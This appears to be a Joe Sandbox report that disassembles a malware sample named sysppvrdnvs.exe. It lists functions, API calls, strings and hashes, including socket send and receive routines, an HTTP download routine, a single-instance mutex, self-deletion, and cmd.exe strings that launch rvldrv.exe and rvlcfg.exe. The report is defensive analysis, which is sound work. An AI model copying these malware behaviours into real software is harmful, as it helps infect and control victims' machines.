CoInitialize.OLE32(00000000), ref: 0040666B
CoCreateInstance.OLE32(00413030,00000000,00000001,00413010,00000008), ref: 00406683
wsprintfW.USER32 ref: 004066C4
wsprintfW.USER32 ref: 004066E5

Strings

cl@, xrefs: 004066A0
%comspec%, xrefs: 004066EE
/c start %s & start %s\rvldrv.exe & start %s\rvlcfg.exe, xrefs: 004066B8
/c start %s & start %s\rvlcfg.exe, xrefs: 004066D9

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: wsprintf$CreateInitializeInstance
String ID: %comspec%$/c start %s & start %s\rvlcfg.exe$/c start %s & start %s\rvldrv.exe & start %s\rvlcfg.exe$cl@
API String ID: 1147330536-497122036
Opcode ID: eee1a2fc8572b98f6c40a5fc3c9db374d26e8a3e47ee9b9990b59bb952fb1ff2
Instruction ID: e126a915917d584c7bd6e3cca15df18ca7e9be12ab45cc4692bb8e15b90f0fb7
Opcode Fuzzy Hash: eee1a2fc8572b98f6c40a5fc3c9db374d26e8a3e47ee9b9990b59bb952fb1ff2
Instruction Fuzzy Hash: 67411D75A40208AFC704DF98C885FDEB7B5AF88704F208199F515A72A5C675AE81CB54

Function 00401D60 Relevance: 13.6, APIs: 9, Instructions: 141COMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000000), ref: 00401D86
InterlockedDecrement.KERNEL32(?), ref: 00401DB0
InterlockedDecrement.KERNEL32(?), ref: 00401DC3
InterlockedExchangeAdd.KERNEL32(?,?), ref: 00401DD4
InterlockedDecrement.KERNEL32(?), ref: 00401E5B
InterlockedDecrement.KERNEL32(?), ref: 00401EF6
setsockopt.WS2_32 ref: 00401F2C
closesocket.WS2_32(?), ref: 00401F39

Part of subcall function 0040DF20: NtQuerySystemTime.NTDLL(0040BD65), ref: 0040DF2A
Part of subcall function 0040DF20: RtlTimeToSecondsSince1980.NTDLL(0040BD65,?), ref: 0040DF38

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Interlocked$Decrement$ExchangeTime$QuerySecondsSince1980Systemclosesocketsetsockopt
String ID:
API String ID: 671207744-0
Opcode ID: 8dc138b45ca20bf30cfdef2e37b67658010477f0f0075654919bb451a9b4aa4a
Instruction ID: f2cbb4ded8662be063e38a6044f3a63d93470e371ff4fbf655dea468244fd3f8
Opcode Fuzzy Hash: 8dc138b45ca20bf30cfdef2e37b67658010477f0f0075654919bb451a9b4aa4a
Instruction Fuzzy Hash: 4F51B075608702ABC704DF29D888B9BFBE5BF88314F40862EF85D93360D774A545CB96

Function 0040ECC0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040ED7C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040EDCB
SysFreeString.OLEAUT32(00000000), ref: 0040EDDF
SysFreeString.OLEAUT32(00000000), ref: 0040EDF7

Strings

device, xrefs: 0040ED73
deviceType, xrefs: 0040ED86

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: a9e600dac57c6bff42fbd44a0ab5cbd0dab53693824f3ca44f5ffdbb74c8a893
Instruction ID: 03739fb7cbf0ac8b4f24cf275543a684364e3b5b0ef8f18e7a9da7a5ef98527e
Opcode Fuzzy Hash: a9e600dac57c6bff42fbd44a0ab5cbd0dab53693824f3ca44f5ffdbb74c8a893
Instruction Fuzzy Hash: 1A413A75A0020ADFCB04DF99D884BAFB7B5FF48304F108969E505A7390D778AA91CB95

Function 0040EB60 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040EC1C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040EC6B
SysFreeString.OLEAUT32(00000000), ref: 0040EC7F
SysFreeString.OLEAUT32(00000000), ref: 0040EC97

Strings

serviceType, xrefs: 0040EC26
service, xrefs: 0040EC13

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 5f17999700f738b1f8b02f544927b29f5482ea2caa1df498b33a2fd0fcdce1b7
Instruction ID: 010777473a756836e58c8d4bedbd534eac8e5d19c37eb4cb5fbe46cee8795b1d
Opcode Fuzzy Hash: 5f17999700f738b1f8b02f544927b29f5482ea2caa1df498b33a2fd0fcdce1b7
Instruction Fuzzy Hash: 9F416A74A0020ADFDB04CF99C884BAFB7B9BF48304F108969E505B7390D779AE81CB95

Function 004022C0 Relevance: 10.6, APIs: 7, Instructions: 95COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,004019BB,00000000), ref: 004022DA
LeaveCriticalSection.KERNEL32(?,?,?,004019BB,00000000), ref: 004022FE

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 94c249e045a06f1e2524c37c45e205f07dc7f45f180538b1808bcfe672da9775
Instruction ID: a453b5b0d0ea6fd4c501cc83d62b7a74cd48d0bc9ee55fa6e36116878b1ddbe7
Opcode Fuzzy Hash: 94c249e045a06f1e2524c37c45e205f07dc7f45f180538b1808bcfe672da9775
Instruction Fuzzy Hash: D231D1722012059BC710AFB5ED8CAE7B7A8FB44314F04863EE55AD3280DB78A4449BA9

Function 0040ED01 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040ED7C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040EDCB
SysFreeString.OLEAUT32(00000000), ref: 0040EDDF
SysFreeString.OLEAUT32(00000000), ref: 0040EDF7

Strings

device, xrefs: 0040ED73
deviceType, xrefs: 0040ED86

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: c6fd2f803c2933f412baf75b0cc734dbcdbc8a3f85456721b664ef36854a057b
Instruction ID: 82367b585ef85f09a19fbcbd702cec43aacbd83c2379c0e5ae25b899a50ddae9
Opcode Fuzzy Hash: c6fd2f803c2933f412baf75b0cc734dbcdbc8a3f85456721b664ef36854a057b
Instruction Fuzzy Hash: F1313970A0020ADFCB14CF99D884BEFB7B5FF88304F108969E514A7390D778AA91CB95

Function 0040EBA1 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040EC1C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040EC6B
SysFreeString.OLEAUT32(00000000), ref: 0040EC7F
SysFreeString.OLEAUT32(00000000), ref: 0040EC97

Strings

serviceType, xrefs: 0040EC26
service, xrefs: 0040EC13

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: fbd28e8abd5f6cdc19dfc357c6f3e47e72171285df1c210c36e8075dc31c5cfb
Instruction ID: b0af1682f63206834f838cc0e71cdea1734b5e967c65deefb948a4066f0743c7
Opcode Fuzzy Hash: fbd28e8abd5f6cdc19dfc357c6f3e47e72171285df1c210c36e8075dc31c5cfb
Instruction Fuzzy Hash: 09312874A0420A9FDB04CF99C884BEFB7B5BF48304F108969E615B7390D779AA81CB95

Function 00409860 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 0040986D
_aullshr.NTDLL ref: 0040987E
_allshl.NTDLL ref: 004098A0
_aullshr.NTDLL ref: 004098BC
_allshl.NTDLL ref: 004098DE
_aullshr.NTDLL ref: 004098FA

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: 676eacc0c821b4ee5133c352ae25f7f86d1fbe8fb33d794599ac5fe58c8be501
Instruction ID: 526ada65c8064deb58b6c5f7a60763359622b06b1071bb594fb8502c37df64e6
Opcode Fuzzy Hash: 676eacc0c821b4ee5133c352ae25f7f86d1fbe8fb33d794599ac5fe58c8be501
Instruction Fuzzy Hash: C1111F32600618AB8B10EF5EC4426CABBD6EF84361B25C136FC2CDF359D634DA454BD8

Function 00406360 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(?c@), ref: 0040636D
QueryDosDeviceW.KERNEL32(?c@,?,00000208), ref: 004063AC
StrCmpNW.SHLWAPI(?,\??\,00000004), ref: 004063C4

Strings

\??\, xrefs: 004063B8
?c@, xrefs: 00406369, 004063A8, 0040636C, 004063AB

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: DeviceDriveQueryType
String ID: ?c@$\??\
API String ID: 1681518211-744975932
Opcode ID: f7d2f09f959af449ec867411dc7ba934a04d8b9c93c7b8ac7040ad7b5d155416
Instruction ID: e6efffa98ab35b62633249d18dd791fc9affcc5f03e1fdb0b50d0aac4f7d71b0
Opcode Fuzzy Hash: f7d2f09f959af449ec867411dc7ba934a04d8b9c93c7b8ac7040ad7b5d155416
Instruction Fuzzy Hash: 6101F474A4021CEBCB20CF55DD497DD7774AB04714F00C0BAAA06A7280D6759FD5CF99

Function 00401820 Relevance: 7.6, APIs: 5, Instructions: 116COMMON

Download Yara Rule

APIs

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401846
InterlockedDecrement.KERNEL32(?), ref: 004018B1

Part of subcall function 004017A0: EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
Part of subcall function 004017A0: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
Part of subcall function 004017A0: LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Interlocked$CriticalExchangeSection$DecrementEnterLeave
String ID:
API String ID: 3966618661-0
Opcode ID: fa77988927cb930059e1e0cbc8a5de5e4af0f9e1d52da1810f0081e508491bbd
Instruction ID: 3b152336b57d45bd484518126aaa8069a8e5b95e48398e5ac574b9fb36890b51
Opcode Fuzzy Hash: fa77988927cb930059e1e0cbc8a5de5e4af0f9e1d52da1810f0081e508491bbd
Instruction Fuzzy Hash: 8C41C371A00A02ABC714AB399848793F3A4BF84310F14823AE82D93391E739B855CB99

Function 00409440 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 0040944E
_allshl.NTDLL ref: 0040945D
_allshl.NTDLL ref: 0040946C
_allshl.NTDLL ref: 0040947B
_allshl.NTDLL ref: 0040948A

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: _allshl
String ID:
API String ID: 435966717-0
Opcode ID: d5e550ec765fb5e4c7b4ab991364e2b02bfb294b8b2cc5675fd73cc28fc319ee
Instruction ID: d897fcd8a6e9f4a7bfe0dcf07208541f34cf8f45c30d72ee7b1e381ef02b65f1
Opcode Fuzzy Hash: d5e550ec765fb5e4c7b4ab991364e2b02bfb294b8b2cc5675fd73cc28fc319ee
Instruction Fuzzy Hash: D2F03672D015289B9710FEEF84424CAFBE59F89354B21C176F818E3360E6709E0946F1

Function 00401330 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040DFDD,00000000), ref: 00401346
WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040DFDD,00000000), ref: 00401352
CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040DFDD,00000000), ref: 0040135C

Part of subcall function 0040AB60: RtlFreeHeap.NTDLL(02DE0000,00000000,00402612,?,00402612,?), ref: 0040ABBB

Strings

pdu, xrefs: 00401339

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CloseEventFreeHandleHeapObjectSingleWait
String ID: pdu
API String ID: 309973729-2320407122
Opcode ID: d53d7859b80e41eb9fd1776689c76fead4092fa41b0b9c03735f9e49e291d2c8
Instruction ID: d5c9189d357da9e52bb83819b3173fb4210b6dfc4c93b70417a9898bc2e8bd9b
Opcode Fuzzy Hash: d53d7859b80e41eb9fd1776689c76fead4092fa41b0b9c03735f9e49e291d2c8
Instruction Fuzzy Hash: 3D0186765003109BCB20AF66ECC4E9B7779AF48711B044679FD056B396C738E85087A9

Function 00401F50 Relevance: 6.1, APIs: 4, Instructions: 73networkCOMMON

Download Yara Rule

APIs

GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401F83
WSAGetOverlappedResult.WS2_32(?,?,?,00000000,?), ref: 00401FAF
WSAGetLastError.WS2_32 ref: 00401FB9
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401FF9

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CompletionQueuedStatus$ErrorLastOverlappedResult
String ID:
API String ID: 2074799992-0
Opcode ID: 0873c704f9b42db8694245f3ff021b9bdebcd9b4b0cbd7409a356cfb69af86d5
Instruction ID: 923efa3f85c100d8dcf87aa4bb405070ff806fabc372267044aefe38fa55a991
Opcode Fuzzy Hash: 0873c704f9b42db8694245f3ff021b9bdebcd9b4b0cbd7409a356cfb69af86d5
Instruction Fuzzy Hash: B72131715083119BC200DF55D844D6BB7E8BFCCB54F044A2DF598A3291D774EA49CBAA

Function 00401C50 Relevance: 6.1, APIs: 4, Instructions: 59networksleepCOMMON

Download Yara Rule

APIs

WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401C88
WSAGetLastError.WS2_32(?,?,?,00401FD3,00000000), ref: 00401C90
Sleep.KERNEL32(00000001,?,?,?,00401FD3,00000000), ref: 00401CA6
WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401CCC

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Recv$ErrorLastSleep
String ID:
API String ID: 3668019968-0
Opcode ID: 632ea2d54cc4383f5132f6b2993607fdd6e2119cf45a08eb7173c4bd646593aa
Instruction ID: 470b9b0004fc9485880b3b0232d8394a6163a25caab740c915041083b8486df8
Opcode Fuzzy Hash: 632ea2d54cc4383f5132f6b2993607fdd6e2119cf45a08eb7173c4bd646593aa
Instruction Fuzzy Hash: 8811AD72148305AFD310CF65EC84AEBB7ECEB88710F40092EF945D2150E6B9E949A7B6

Function 00401AE0 Relevance: 6.0, APIs: 4, Instructions: 49networksleepCOMMON

Download Yara Rule

APIs

WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B0C
WSAGetLastError.WS2_32 ref: 00401B12
Sleep.KERNEL32(00000001), ref: 00401B28
WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B4A

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Send$ErrorLastSleep
String ID:
API String ID: 2121970615-0
Opcode ID: b06a38cb9fde64199f830136d194dacddc283b62bd49c201cde61758c607cabc
Instruction ID: 56798eeddd779857b304cdb020dc52eae5646efd672cabe94dca1e5c1b4e91c2
Opcode Fuzzy Hash: b06a38cb9fde64199f830136d194dacddc283b62bd49c201cde61758c607cabc
Instruction Fuzzy Hash: 90014B712483046EE7209B96DC88F9B77A8EBC8711F408429F608DA2D0D7B5A9459B7A

Function 0040DE90 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(02DE0634), ref: 0040DEA9
CloseHandle.KERNEL32(02DE0638), ref: 0040DED8
LeaveCriticalSection.KERNEL32(02DE0634), ref: 0040DEE7
DeleteCriticalSection.KERNEL32(02DE0634), ref: 0040DEF4

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalSection$CloseDeleteEnterHandleLeave
String ID:
API String ID: 3102160386-0
Opcode ID: 7ff1f6a6c7f609a02f2b7f0cb8a20d989c1467e854c2ae30cad7fe774086fae1
Instruction ID: ac11750a047aba6f79e7b8cc85f80e728fdbf261864cbbb5073f4aff0768140e
Opcode Fuzzy Hash: 7ff1f6a6c7f609a02f2b7f0cb8a20d989c1467e854c2ae30cad7fe774086fae1
Instruction Fuzzy Hash: 65115E74D00208EBDB08DF94D984A9DBB75FF48309F1081A9E806AB341D734EE94DB89

Function 004017A0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 00401808

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterExchangeInterlocked
String ID:
API String ID: 2223660684-0
Opcode ID: 717484efd16090e76a5f6f50ec8c25be0b30b0b06e4d972f140238cc77205b64
Instruction ID: dfa7cd44099aa032f197b32b6ae0ce93fcebf173881def012ca395fa41330849
Opcode Fuzzy Hash: 717484efd16090e76a5f6f50ec8c25be0b30b0b06e4d972f140238cc77205b64
Instruction Fuzzy Hash: BD01F7356423049FC3209F26EC44ADB77F8AF49712B04443EE50693650DB34F545DB28

Function 0040E400 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 0040E640: memset.NTDLL ref: 0040E668
Part of subcall function 0040E640: InternetCrackUrlA.WININET(0040E119,00000000,10000000,0000003C), ref: 0040E6B8
Part of subcall function 0040E640: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040E6C8
Part of subcall function 0040E640: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E701
Part of subcall function 0040E640: HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E737
Part of subcall function 0040E640: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040E75F
Part of subcall function 0040E640: InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E7A8
Part of subcall function 0040E640: InternetCloseHandle.WININET(00000000), ref: 0040E837

Part of subcall function 0040E530: SysAllocString.OLEAUT32(00000000), ref: 0040E55E
Part of subcall function 0040E530: CoCreateInstance.OLE32(00413000,00000000,00004401,00412FF0,00000000), ref: 0040E586
Part of subcall function 0040E530: SysFreeString.OLEAUT32(00000000), ref: 0040E621

SysFreeString.OLEAUT32(00000000), ref: 0040E4DB
SysFreeString.OLEAUT32(00000000), ref: 0040E4E5

Strings

%S%S, xrefs: 0040E4C6

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Internet$String$Free$HttpOpenRequest$AllocCloseConnectCrackCreateFileHandleInstanceReadSendmemset
String ID: %S%S
API String ID: 1017111014-3267608656
Opcode ID: f492fb3745eed00b8c6f39d02d898e4ad1aa2c93a055282723199110ccf6299a
Instruction ID: e5c4592a6bf7e21b90caaa4e382eb9027ff93744cff569d410d2f086dfa1b48d
Opcode Fuzzy Hash: f492fb3745eed00b8c6f39d02d898e4ad1aa2c93a055282723199110ccf6299a
Instruction Fuzzy Hash: 41415CB5D00209AFCB04DFE5C885AEFB7B5BF48304F104929E605B7390E738AA41CBA1

Analysis Process: sysppvrdnvs.exePID: 4628, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1500
Total number of Limit Nodes:	1

Executed Functions

Function 00407940 Relevance: 282.5, APIs: 103, Strings: 58, Instructions: 749
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 0040794E
CreateMutexA.KERNELBASE(00000000,00000000,mmn7nnm8na), ref: 0040795D
GetLastError.KERNEL32 ref: 00407969
ExitProcess.KERNEL32 ref: 00407978
GetModuleFileNameW.KERNEL32(00000000,004161D0,00000105), ref: 004079B2
PathFindFileNameW.SHLWAPI(004161D0), ref: 004079BD
wsprintfW.USER32 ref: 004079DA
DeleteFileW.KERNEL32(?), ref: 004079EA
ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 00407A01
wcscmp.NTDLL ref: 00407A13
ExitProcess.KERNEL32 ref: 00407A32

Strings

sysppvrdnvs.exe, xrefs: 00407A07, 00407A4F, 00407B41, 00407C4A
